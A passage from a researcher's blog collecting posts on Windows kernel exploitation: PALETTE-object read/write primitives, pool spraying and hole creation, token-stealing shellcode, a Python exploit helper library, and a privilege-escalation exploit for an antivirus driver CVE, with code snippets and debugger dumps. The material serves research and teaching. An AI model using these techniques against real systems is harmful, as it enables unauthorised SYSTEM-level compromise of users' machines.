Showing posts with label exploit. Show all posts
Showing posts with label exploit. Show all posts

Thursday, December 28, 2017

Convert Write-Where kernel exploits into arbitrary Write-What-Where exploit

This post is a follow up of my previous post: https://theevilbit.blogspot.hu/2017/11/turning-cve-2017-14961-ikarus-antivirus.html. I realised that the technique I used there can be generalised.
  1. Currently it’s known that we can create PALETTE objects in the large session pool, and we can leak their address.
  2. We can allocate two PALETTE objects, one after the other, and even without spraying, they will be close enough (<0x1000000 bytes far) to each other - this came from my testing, and running this many times
  3. If we have a write - where vulnerability (where we can't control what we write), we can use that to modify the size of the PALETTE object by modifying 1 byte in the cEntries field, the only requirement is that we can precisely set the location, and it should be something other than 0. We will target the location marked with ** below:

    0: kd> dd fffff8cc44dc4000
    fffff8cc`44dc4000  fe0809ec ffffffff 00000000 00000000
    fffff8cc`44dc4010  26986580 ffffd687 00000501 **0003de
    fffff8cc`44dc4020  0096f8aa 00000000 00000000 00000000
    fffff8cc`44dc4030  00000000 00000000 00000000 00000000
    fffff8cc`44dc4040  00000000 00000000 00000000 00000000
    fffff8cc`44dc4050  00000000 00000000 00000000 00000000
    fffff8cc`44dc4060  00000002 00000001 00000000 00000000
    fffff8cc`44dc4070  00000000 00000000 44dc4088 fffff8cc

  4. Luckily the 7 bytes before and 8 bytes after that field are not so important, so if we smash them we will not cause a BSOD and we can continue to use the object. Essentially the following fields marked with red (also in the above memdump) in the PALETTE structure won't cause an issue if we overwrite them (anything before or after will cause a BSOD):
  5.  BASEOBJECT64      BaseObject;    // 0x00
     FLONG           flPal;         // 0x18
     ULONG32           cEntries;      // 0x1C
     ULONG32           ulTime;        // 0x20 
     HDC             hdcHead;       // 0x24
     ULONG64        hSelected;     // 0x28, 
  6. With modifying that byte to anything other then 0, we increased the size of our PALETTE to > 4 * 0x1000000, which means that if we have another one nearby (and as we saw at step 2 we can have), we can write to it with out-of-bound writes
  7. We overwrite the pFirstColor pointer of the 2nd PALETTE to point to our original PALETTE’s pFirstColor memory location, thus achieving a classic GDI read / write primitive —> We achieved arbitrary kernel read / write
Again, the practical use of this can be seen here: https://theevilbit.blogspot.hu/2017/11/turning-cve-2017-14961-ikarus-antivirus.html

This will also work if we have another type of vulnerability where we can decrement / increment a value at a memory location of our choice, we can achieve the same. We locate the byte above (**) as a target for decrementing or incrementing, we achieved the same.

Limitations:

  • The PALETTE itself, it won't work beyond Win10 RS3
  • If the write what we don't control is larger than 0x10 bytes, this can't be used as we overwrite other fields that will cause a BSOD

Saturday, November 25, 2017

kex - python kernel exploit library - major update #2

I made a larger update to my kex library again. Token stealing is not the only way in kernel exploitation, suggest to read the following:

https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf

https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-1
https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-2
https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-3
https://improsec.com/blog/windows-kernel-shellcode-on-windows-10-part-4-there-is-no-code

I essentially implemented additional shellcodes based on Cerudo's BlackHat talk and Martin Schenk's blogpost, there are a few differences to how I implemented them vs how Martin did:

  1. I elevate my own process privileges, not the parent or cmd.exe
  2. I use different offset in KTHREAD to find the EPROCESS structure (nt!_KTHREAD ->  _KAPC_STATE -> EPROCESS), so you will see different values there
  3. I used PALETTEs for data-only pwning and not the tagWND method, this also means that it won't work beyond Win10 RS3
  4. The token overwrite has been extended to also change the Present bit as it is required after Win10 RS3, as described here: http://anti-reversing.com/Downloads/Sec_Research/ntoskrnl_v10.0.15063_nt!_SEP_TOKEN_PRIVILEGES-Single_Write_EoP_Protect.pdf
  5. I added all offsets from Win7 to Win10 RS3 so the code should work universally across all platforms

I added an example with the HEVD driver to show how all these works. I didn't have a chance to test the actual shellcodes, only the data-only variant, so if any issues, let me know.

Link:

https://github.com/theevilbit/kex/

Wednesday, November 15, 2017

Turning CVE-2017-14961 (IKARUS anti.virus local kernel exploit) into full arbitrary read / write with PALETTE objects

There are 9 exploitable kernel vulnerabilities discovered in IKARUS anti.virus <2.6.18 discovered by @ParvezGHH. You can read more about them here:

I found the exploit for the above CVE very nice and clean by Parvez, I usually like simplicity. This specific vulnerability provides the ability for an attacker to write 0x11 to an arbitrary location, which is entirely under the control of the attacker. Triggering is extremely simple, we send in an empty input, and 0x11 will be written to the address we provide for the output buffer. Parvez used this to overwrite the TOKEN privileges of the given process to gain SeDebugPriviliges and after that injecting a cmd.exe shell code into winlogon.exe. Nice and clean and works universally. I took the opportunity to write this in python and extend my kex library with some useful functions that perform the TOKEN lookup and code injection.

However I wanted to practice a bit of kernel exploitation techniques and decided to turn this into a full arbitrary read / write. In short I wanted to be able to read / write any kernel memory of my choice with the value I want. I also wanted to keep the exploit universal (Win7 to Win10RS3) and if possible trigger it from low integrity mode. I’m not done with the low integrity part, but if I will have time later I will try to finish it, but all the others went fine.

An universal read / write can be done if we can use the PALETTE read / write primitives, but obviously we can’t directly overwrite the pFirstColor pointer of any palette with the vulnerability. So I went to utilise the idea of out of bounds write, which is commonly used with session pool spraying with GDI objects. Let me explain step-by-step the game plan.
  1. Allocate two palettes at known location
  2. Overwrite the cEntries field of one of the palettes, and thus increasing the size.
  3. Use the enlarged palette to overwrite the pFirstColor offset in the second palette —> we are pretty much done at this point, as we can use the regular read / write primitives
  4. Steal token
The first point is achieved via reserving and freeing Windows, and if they get allocated to the same place, we can predict that if we free it and allocate the palette next, it will be at the same location, this works for large pools, for objects size >= 0x1000 (4kB). This is pretty standard, and easy, already implemented in my kex library. Essentially this is the code snippet to do this:

palette_1_address = alloc_free_windows(0)
palette_1_handle = create_palette_with_size(0x1000)
palette_1_pFirstColor = palette_1_address + pFirstColor_offset

palette_2_address = alloc_free_windows(0)
palette_2_handle = create_palette_with_size(0x1000)
palette_2_pFirstColor = palette_2_address + pFirstColor_offset

The second point is to calculate the address where we want to write 0x11. From this point on, we need to make sure that we use the palettes in the right order, as there is no guarantee that palette1 is placed in a lower memory location than palette2, although likely. In this writeup let’s assume that palette1 comes before palette2. So the location is:

palette_1_address + cEntries + 3

cEntries is always 0x1c, and the number of entries is stored on 4 bytes (32 bits). The +3 is needed in order to overwrite the high order byte. If we look on a dump, this is what we will get after the overwrite:

0: kd> dd ffffe5b784730000
ffffe5b7`84730000  9c080a13 ffffffff 00000000 00000000
ffffe5b7`84730010  5fe03700 ffffad0d 00000501 110003de
ffffe5b7`84730020  0006e3f4 00000000 00000000 00000000
ffffe5b7`84730030  00000000 00000000 00000000 00000000
ffffe5b7`84730040  00000000 00000000 00000000 00000000
ffffe5b7`84730050  00000000 00000000 00000000 00000000
ffffe5b7`84730060  00000002 00000001 00000000 00000000
ffffe5b7`84730070  00000000 00000000 84730088 ffffe5b7

This effectively increases the size of the palette to 0x110003de * 4 (from 0x000003de * 4) as one palette entry takes 4 bytes. This should be sufficient to get an overlap with palette2.

As for code:
outputbuffer = palette_1_address + 0x1c + 3

The third step is to overwrite the other palette’s pFirstColor pointer and point it to palette1’s pFirstColor memory address. The last part is easy, we just add the proper offset to palette1’s address, which is 0x78 or 0x80 depending on the platform (as of this writing). How do we overwrite palette2’s pFirstColor pointer? We need to calculate the distance of it beginning from palette1’s first entry. The calculation is:

distance = (palette_2_address + pFirstColor_offset) - (palette_1_address + apalColors_offset)

In words: we take the memory location of the target (palette2address + pFirstColoroffset) and subtract the memory location of the very first entry of palette1 (palette_1address + apalColorsoffset). apalColorsoffset is 0x10 after pFirstColor on x64. We divide this distance by 4 (remember, with palettes we write one entry which is 4 bytes) and get the right index (iStart) to use with the SetPalette function. Code:

address = c_ulonglong(palette_1_pFirstColor)
gdi32.SetPaletteEntries(palette_1_handle, distance/4, sizeof(address)/4, addressof(address));
hex(palette_1_pFirstColor))
manager_palette_handle = palette_2_handle
worker_palette_handle = palette_1_handle

At this stage I run into a problem where my code started to overwrite random memory locations, regardless of what the distance is (at least this is how it looked). I was pretty sure I’m right, and I had no idea for hours what goes wrong here. Finally found it. SetPaletteEntries expects an unsigned INT for the iStart index. I didn’t converted the distance to UINT, and it was passed as a signed INT, and as it was quite large, it pointed to another place I expected. This was a good learning for later, I need to watch out for correct ctypes conversion. So the above line correctly is:

gdi32.SetPaletteEntries(palette_1_handle, c_uint(distance/4), sizeof(address)/4, addressof(address));

Once this is done, the only thing remained is to perform token stealing with palettes. Up until this point the entire exploit runs from low integrity mode as well. The token stealing won’t because of the way it’s implemented, but I will look for something else later on.

tokenstealing_with_palettes(manager_palette_handle, worker_palette_handle)

I think the above idea can be easily generalised for similar cases, when we can control the memory location of the overwrite, but not the content. If we can increase the size of a palette, we can gain full read / write.

If you want to play with this, the following happens to be an IKARUS 2.6.15 installer, which is vulnerable:
VirusTotal

The above exploit is uploaded here: https://github.com/theevilbit/kex/blob/master/usage_examples/CVE-2017-14961-ikarus-palettes.py
It doesn't always work for first, but run it a few times, and eventually you will get SYSTEM.

UPDATE 2017.11.25.:

With the new release of kex, this exploit can work entirely from low integrity mode.

Friday, September 15, 2017

Windows kernel pool spraying fun - Part 4 - object & pool headers, kex & putting it all together

2 weeks... LOL... I had to finish this up. :)

This post will be looooong, where we check the actual objects and their headers, and finally put together the actual exploit for HEVD, and I release my first version of kex.

Before we move forward for the actual exploitation we will need to prepare some more data for our objects. When we actually do a pool overflow, we will write outside of the hole (this is why we need to precisely control the new allocation with the hole) and overwriting the next object. Since we reserved the objects we will know what we overwrite but we need to see, what to place there, as messing up with kernel structures is a fast way towards BSODs.

I made a spray, and this is what I have:

Object location: 87999400
Pool page 87999400 region is Nonpaged pool
 87999000 size:   50 previous size:    0  (Allocated)  Muta (Protected)
 87999050 size:   10 previous size:   50  (Free)       P...
 87999060 size:   50 previous size:   10  (Free )  Muta (Protected)
 879990b0 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999100 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999150 size:   50 previous size:   50  (Free )  Muta (Protected)
 879991a0 size:   50 previous size:   50  (Free )  Muta (Protected)
 879991f0 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999240 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999290 size:   50 previous size:   50  (Free )  Muta (Protected)
 879992e0 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999330 size:   50 previous size:   50  (Free )  Muta (Protected)
 87999380 size:   50 previous size:   50  (Free )  Muta (Protected)
*879993d0 size:   50 previous size:   50  (Allocated) *Muta (Protected)
Pooltag Muta : Mutant objects
 87999420 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999470 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 879994c0 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999510 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999560 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 879995b0 size:   50 previous size:   50  (Allocated)  Muta (Protected)
 87999600 size:   50 previous size:   50  (Allocated)  Muta (Protected)

We can see that the object is at 0x87999400 while the actual reservation starts at 0x879993d0, so the object is +0x30 bytes offset from the beginning of the pool. That's because we have the POOL_HEADER, potential OPTIONAL_HEADERS and the OBJECT_HEADER there (see: http://codemachine.com/article_objectheader.html), and we can see that it will be always the same for our allocation (showing the pool headers here) except the PreviousSize which can vary, but we can predict that:

||1:lkd> dt nt!_POOL_HEADER 879993d0 
   +0x000 PreviousSize     : 0y000001010 (0xa)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001010 (0xa)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x40a000a
   +0x004 PoolTag          : 0xe174754d
   +0x004 AllocatorBackTraceIndex : 0x754d
   +0x006 PoolTagHash      : 0xe174
||1:lkd> dt nt!_POOL_HEADER 879993d0+50
   +0x000 PreviousSize     : 0y000001010 (0xa)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001010 (0xa)
   +0x002 PoolType         : 0y0000010 (0x2)
   +0x000 Ulong1           : 0x40a000a
   +0x004 PoolTag          : 0xe174754d
   +0x004 AllocatorBackTraceIndex : 0x754d
   +0x006 PoolTagHash      : 0xe174

The OBJECT_HEADER will be at 0x18 offset

||1:lkd> !object 87999400
Object: 87999400  Type: (8521a838) Mutant
    ObjectHeader: 879993e8 (new version)
    HandleCount: 1  PointerCount: 1

||1:lkd> dt nt!_OBJECT_HEADER 879993e8 
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xe ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x86e0bd80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

and the others will be the same:

||1:lkd> !object 87999400+50
Object: 87999450  Type: (8521a838) Mutant
    ObjectHeader: 87999438 (new version)
    HandleCount: 1  PointerCount: 1
||1:lkd> dt nt!_OBJECT_HEADER 879993e8 +50
   +0x000 PointerCount     : 0n1
   +0x004 HandleCount      : 0n1
   +0x004 NextToFree       : 0x00000001 Void
   +0x008 Lock             : _EX_PUSH_LOCK
   +0x00c TypeIndex        : 0xe ''
   +0x00d TraceFlags       : 0 ''
   +0x00e InfoMask         : 0x8 ''
   +0x00f Flags            : 0 ''
   +0x010 ObjectCreateInfo : 0x86e0bd80 _OBJECT_CREATE_INFORMATION
   +0x010 QuotaBlockCharged : 0x86e0bd80 Void
   +0x014 SecurityDescriptor : (null) 
   +0x018 Body             : _QUAD

They could be different if we would have more handles open, but since we do the spraying, no one else will care about these objects. The object body starts at offset 0x18, this is how we get to our object at offset 0x30.

We can also see this if we dump the entire 0x50 bytes:

||1:lkd> dd 879993d0 L50/4
879993d0  040a0070 e174754d 00000000 00000050
879993e0  00000000 00000000 00000001 00000001
879993f0  00000000 0008000e 86e0bd80 00000000
87999400  00080002 00000001 87999408 87999408
87999410  00000000 00000000 00000000 00000000

||1:lkd> dd 879993d0+50 L50/4
87999420  040a000a e174754d 00000000 00000050
87999430  00000000 00000000 00000001 00000001
87999440  00000000 0008000e 86e0bd80 00000000
87999450  00080002 00000001 87999458 87999458
87999460  00000000 00000000 00000000 00000000

The underlined part is the PreviousSize, which is changing. So if we overflow into this object and use the same 0x28 bytes, we will be safe. We overwrote the object, with the same data. That's nice, but why it will be good for us? Well, we will modify the data, especially the typeindex, which is 0xe in the case above. The TypeIndex is an index to the object type table, which tells us what is this object:

||1:lkd> dd nt!ObTypeIndexTable+4*0xe L1
82b805b8  8521a838
||1:lkd> dt nt!_OBJECT_TYPE 8521a838
   +0x000 TypeList         : _LIST_ENTRY [ 0x8521a838 - 0x8521a838 ]
   +0x008 Name             : _UNICODE_STRING "Mutant"
   +0x010 DefaultObject    : (null) 
   +0x014 Index            : 0xe ''
   +0x018 TotalNumberOfObjects : 0x187ff
   +0x01c TotalNumberOfHandles : 0x1880f
   +0x020 HighWaterNumberOfObjects : 0x7a26a
   +0x024 HighWaterNumberOfHandles : 0x7a28e
   +0x028 TypeInfo         : _OBJECT_TYPE_INITIALIZER
   +0x078 TypeLock         : _EX_PUSH_LOCK
   +0x07c Key              : 0x6174754d
   +0x080 CallbackList     : _LIST_ENTRY [ 0x8521a8b8 - 0x8521a8b8 ]

It has an embedded structure the OBJECT_TYPE_INITIALIZER which gives us a list of pointers to functions to be called at certain points of the object's lifecycle.

||1:lkd> dt nt!_OBJECT_TYPE_INITIALIZER 8521a838+0x28
   +0x000 Length           : 0x50
   +0x002 ObjectTypeFlags  : 0 ''
   +0x002 CaseInsensitive  : 0y0
   +0x002 UnnamedObjectsOnly : 0y0
   +0x002 UseDefaultObject : 0y0
   +0x002 SecurityRequired : 0y0
   +0x002 MaintainHandleCount : 0y0
   +0x002 MaintainTypeList : 0y0
   +0x002 SupportsObjectCallbacks : 0y0
   +0x002 CacheAligned     : 0y0
   +0x004 ObjectTypeCode   : 2
   +0x008 InvalidAttributes : 0x100
   +0x00c GenericMapping   : _GENERIC_MAPPING
   +0x01c ValidAccessMask  : 0x1f0001
   +0x020 RetainAccess     : 0
   +0x024 PoolType         : 0 ( NonPagedPool )
   +0x028 DefaultPagedPoolCharge : 0
   +0x02c DefaultNonPagedPoolCharge : 0x50
   +0x030 DumpProcedure    : (null) 
   +0x034 OpenProcedure    : (null) 
   +0x038 CloseProcedure   : (null) 
   +0x03c DeleteProcedure  : 0x82afe453     void  nt!ExpDeleteMutant+0
   +0x040 ParseProcedure   : (null) 
   +0x044 SecurityProcedure : 0x82ca2936     long  nt!SeDefaultObjectMethod+0
   +0x048 QueryNameProcedure : (null) 
   +0x04c OkayToCloseProcedure : (null) 

Now, if we zero out the TypeIndex, this is where we get:

||1:lkd> dd nt!ObTypeIndexTable+4*0x0 L1
82b80580  00000000

Based on this, once the index is ZERO, the kernel will look for the OBJECT_TYPE and then the OBJECT_TYPE_INITALIZER structure at the NULL page, which we can map on Win 7 x86 (not in later versions).

Now we just need to have a collection of the first 0x28 bytes from the beginning of the pool allocation for the various objects.

During the collection I found that in case of named objects the above is slightly different. For example:

Named Semaphore:
040b0006
e16d6553
00000000
00000044
00000000
00000000
9a06fb38 //pointer to ???? I couldn't figure out what is there. Anyone? It's changing between reloads.
00260026 //length of the name * 2 as it's stored in Unicode
adecd178 //pointer to the name (UNICODE)
00000000
00000002
00000001
00000000
000a0010

So it's not that easy to use a named one as we have a varying pointer which I don't know where it points to + I'm not sure what would happen if I put a pointer to user space for the name. We can't predict the pointer in kernel space. Another one which doesn't really work is IoCompletionPort. So I removed all of these from my list. Anyhow, even without these we have a good set of objects, and some further research is needed on the others. This is what we have with the PreviousSize 0-d out:

pool_object_headers['unnamed_mutex'] = [0x040a0000,0xe174754d,0x00000000,0x00000050,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000e]
pool_object_headers['unnamed_job'] = [0x042d0000,0xa0626f4a,0x00000000,0x00000168,0x0000006c,0x86e0bd80,0x00000001,0x00000001,0x00000000,0x00080006]
pool_object_headers['iocompletionreserve'] = [0x040c0000,0xef436f49,0x00000000,0x0000005c,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000a]
pool_object_headers['unnamed_semaphore'] = [0x04090000,0xe16d6553,0x00000000,0x00000044,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x00080010]
pool_object_headers['event'] = [0x04080000,0xee657645,0x00000000,0x00000040,0x00000000,0x00000000,0x00000001,0x00000001,0x00000000,0x0008000c]

A quick note on the PreviousSize field. We always know what it should be. We know exactly the hole we create and this value is simple that size divided by 8, so we can always dynamically generate it. It's added to the code.

Now let's go to exploitation.

What is kex? Well it stands for kernel exploitation, and also if you pronounce it, in Hungarian it means 'cookie' (although that word is written as keksz ('ksz' is pronounced as 'x')), and it's a collection of functions that can help writing kernel exploits faster. At this moment it has the following functions:

def allocate_object(object_to_use, variance):
def find_object_to_spray(required_hole_size):
def spray(required_hole_size):
def make_hole(required_hole_size, good_object):
def gimme_the_hole(required_hole_size):
def close_all_handles():
def calculate_previous_size(required_hole_size):
def pool_overwrite(required_hole_size,good_object):
def ctl_code(function,
def getLastError():
def alloc_memory(base_address, input, input_size):
def find_driver_base(driver=None):
def get_haldispatchtable():
def get_haldisp_ofsetsx86():
def get_haldisp_ofsetsx64():
def setosvariablesx86():
def setosvariablesx64():
def retore_hal_ptrs(HalDispatchTable,HaliQuerySystemInformation,HalpSetSystemInformation):
def restoretokenx86(RETVAL, extra = ""):
def tokenstealingx86(RETVAL, extra = ""):
def tokenstealingx64(RETVAL, extra = ""):
def tokenstealing(RETVAL, extra = ""):

Basically functions to help with finding various offsets based on OS version, finding the HalDispatchTable location, generating tokenstealing shellcode for various platforms and cases, functions to allocate memory and a set of functions that I created as part of my kernel pool spraying fun series :) like spraying, creating holes just based on the pool size we know, we don't need to prepare anything or worry about the objects. It was long time ago in my plans but somehow went under the table. I do plan to catch up with this 'project' and start to add other stuff, like bitmap read/write stuff, which is needed for newer OSs.

Not all functions were developed by myself, there are particles that were taken from various sources, and I tried to indicate it. I might modify it to my needs, like adding parameters but I still wanted to indicate the source, and not take credits for it.

So what's the difference. If I take my original HackSysExtremeVulnerableDriver pool overflow exploit, found here, it's 200 lines:

With the kex helpers, it's about 50, which is much nicer, and you don't need to worry about many things.

Our required hole size is 0x200 (HEVD allocates 0x1f8 size, but it takes 0x200 on the pool: buffer + 8 byte POOL_HEADER).

A summary of this HEVD exploit:
  1. open the driver
  2. allocate our input at 0x41410000, which consists of 0x1f8 random data, and the additional overflow part
  3. put the value 0x42424242 at 0x00000060 (pointer to the "CloseProcedure" function handler)
  4. generate a tokenstealing shellcode and allocate it it into 0x42424242
  5. spray the kernel pool, and make holes (multiple)
  6. call the driver vulnerable function to make the overflow
  7. close all handles to trigger our shellcode
  8. open cmd.exe

The exploit works very reliably, I run it quite a few times.

You can find kex here:

If you find any bug, please report it, I tried to filter out everything and test most of the functions, but you never know.

Thursday, September 14, 2017

Windows kernel pool spraying fun - Part 3 - Let's make holes

Maybe I should have started this whole series with some explanation. I want to make some scripts that can help with making Windows kernel exploit development faster, and my first run is with pool spraying. Also, if you never read about kernel pool overflows, and exploiting them with pool spraying, maybe read this:


Now that we have a decent list of kernel object sizes (and the script can be run on other platforms, although probably I need to make some changes for x64 architecture) we can 'automate' the spraying and hole creation process, if we know what is the hole size we require.

Basically:
  1. Once we analyzed the vulnerability we will know what is the object / buffer size the driver will allocate in the pool
  2. We need to control the placement of that allocation, so we need to prepare a given size hole in the pool, so that the kernel will allocate the new object there
  3. If we know the size, we can simply calculate what kind of objects are good for our spraying and how many of them will need to be free up
  4. If we know all of that we can spray the kernel, and make a hole
We will need info about the object and pool headers what we overwrite with the overflow, but I will deal with that later, as it's not required for the hole creation. I might be wrong, but with some preparation I hope that the overwriting data can be automatically generated as well. For now, I just want to make holes with a given size. So I made a script for this, which is available here (please keep in mind that it's hardcoded for Win7 SP1 x86):


It will ask for the hole size you want, and do the spraying, freeing up the space and showing that area in WinDBG. Also note that it still uses the local kernel debugger, where we can't set breakpoint, so there is some race condition, when we issue the !pool command, as some other kernel process can allocate in the free space. The reason I still on local kernel debugging is that it's much simpler now for the demonstration. When I get to actual exploit demo, I will need to have remote debugging, but I can use the functions I demo here. So here is the output:

lkd> !py c:\users\csaby\desktop\spray_helper.py
Give me the size of the hole in hex: 440
Process: 8572bd40
Object location: 857e15f0
Pool page 857e15f0 region is Nonpaged pool
 857e1000 size:   40 previous size:    0  (Allocated)  Even (Protected)
 857e1040 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1080 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e10c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1100 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1140 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1180 size:   40 previous size:   40  (Free )  Even (Protected)
 857e11c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1200 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1240 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1280 size:   40 previous size:   40  (Free )  Even (Protected)
 857e12c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1300 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1340 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1380 size:   40 previous size:   40  (Free )  Even (Protected)
 857e13c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1400 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1440 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1480 size:   40 previous size:   40  (Free )  Even (Protected)
 857e14c0 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1500 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1540 size:   40 previous size:   40  (Free )  Even (Protected)
 857e1580 size:   40 previous size:   40  (Free )  Even (Protected)
*857e15c0 size:   40 previous size:   40  (Allocated) *Even (Protected)
Pooltag Even : Event objects
 857e1600 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1640 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1680 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e16c0 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1700 size:   40 previous size:   40  (Allocated)  Even (Protected)
 857e1740 size:   40 previous size:   40  (Allocated)  Even (Protected)

You can see that we have 17 x 0x40 space free, which is exactly 0x440, and that I didn't have to deal with the details. I can give any other size, e.g:

lkd> !py c:\users\csaby\desktop\spray_helper.py
Give me the size of the hole in hex: 260
Process: 8572bd40
Object location: 87b2fe00
Pool page 87b2fe00 region is Nonpaged pool
 87b2f000 size:   98 previous size:    0  (Allocated)  IoCo (Protected)
 87b2f098 size:   90 previous size:   98  (Free)       ....
 87b2f128 size:   98 previous size:   90  (Allocated)  IoCo (Protected)
 87b2f1c0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f258 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f2f0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f388 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f420 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f4b8 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f550 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f5e8 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f680 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f718 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f7b0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f848 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f8e0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2f978 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2fa10 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2faa8 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2fb40 size:   98 previous size:   98  (Free )  IoCo (Protected)
 87b2fbd8 size:   98 previous size:   98  (Free )  IoCo (Protected)
 87b2fc70 size:   98 previous size:   98  (Free )  IoCo (Protected)
 87b2fd08 size:   98 previous size:   98  (Free )  IoCo (Protected)
*87b2fda0 size:   98 previous size:   98  (Allocated) *IoCo (Protected)
Owning component : Unknown (update pooltag.txt)
 87b2fe38 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2fed0 size:   98 previous size:   98  (Allocated)  IoCo (Protected)
 87b2ff68 size:   98 previous size:   98  (Allocated)  IoCo (Protected)

As we see the spraying adapts to our needs. Note that different objects were used this time. If you test it many times, try to use a number which will result in different object allocation, so you get a cleaner output.

Another important thing to note is that the hole creation is not 100% reliable here, but I believe it's very close. What I do is the following: I spray the kernel with 100000 objects, and free up X in the middle. Very likely that those will be reserved next to each other, and give us the space we need when I free them, and for demonstrating the 'automation' this was the easiest. It could be more reliable if:
  1. I try to make multiple holes, with freeing up multiple X handlers, possibly next to each other
  2. There is a way to leak the address of the objects from the kernel and calculate if they are next to each other, and thus freeing up the space that way. This will be the most reliable method.
As I progress, I will implement these but for now the first method makes it.

And yes, I code in Python, and not Powershell, simply because I can't code in PS, but I fully agree with everyone who says that making this in PS would make much more sense.

Part 4 will come later as I will be busy in the next 2 weeks, possibly no time for this, but will catch up after.

Friday, February 19, 2016

CVE-2015-8285 - QuickHeal webssx.sys driver DOS vulnerability

A few months back I decided to practice my skills learned in the AWE course, in order to maintain it in my head, and keep it as an "active" knowledge. In general I don't have too much time these days, but I sacrificed some time for this. I also wanted to find a new vulnerability instead of writing an exploit code for an existing one, which didn't make things easier.
As I don't plan to do such kind of activity too often, I decided to look for bugs manually with reversing a kernel driver and look for possibly vulnerable IOCTL codes. I was probably lucky or these bugs are really frequent, but after some trials with a few products I found one in QuickHeal AV 16. There is a DOS vulnerability in the webssx.sys driver. Here is the document I made with all the details:


and here is my POC code:


Due to the reasons described in the document I didn't find a way to make a privilege escalation exploit out of this, so if someone see a possibility, please let me know :) With that it was still a very good experience, and I definitely learned new stuff with this.

This is also my first ever bug and CVE. This part was also a very interesting journey. How to report a bug, get CVE assigned, etc... It didn't went smoothly, and I had a few challenges initially to contact the vendor, but it all sorted out at the end. It took about 3 months from my initial trials of submitting the details to QuickHeal till they actually released a fix.

Sunday, October 28, 2012

ms11_006: Exploit failed: NameError uninitialized constant Rex::OLE

BT5 R3 alatt, Metasploitban a ms11_006 (Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow) exploit nem működik rendesen, az alábbi hibát kapjuk:

Creating ‘msf.doc’ file … 
[-] Exploit failed: NameError uninitialized constant Rex::OLE

A hiba oka, hogy a ruby script fájlból hiányzik két "require" sor:

/opt/metasploit/msf3/modules/exploits/windows/fileformat/ms11_006_createsizeddibsection.rb

require 'rex/ole/util'
require 'rex/ole'

Ezt beletéve, már működik.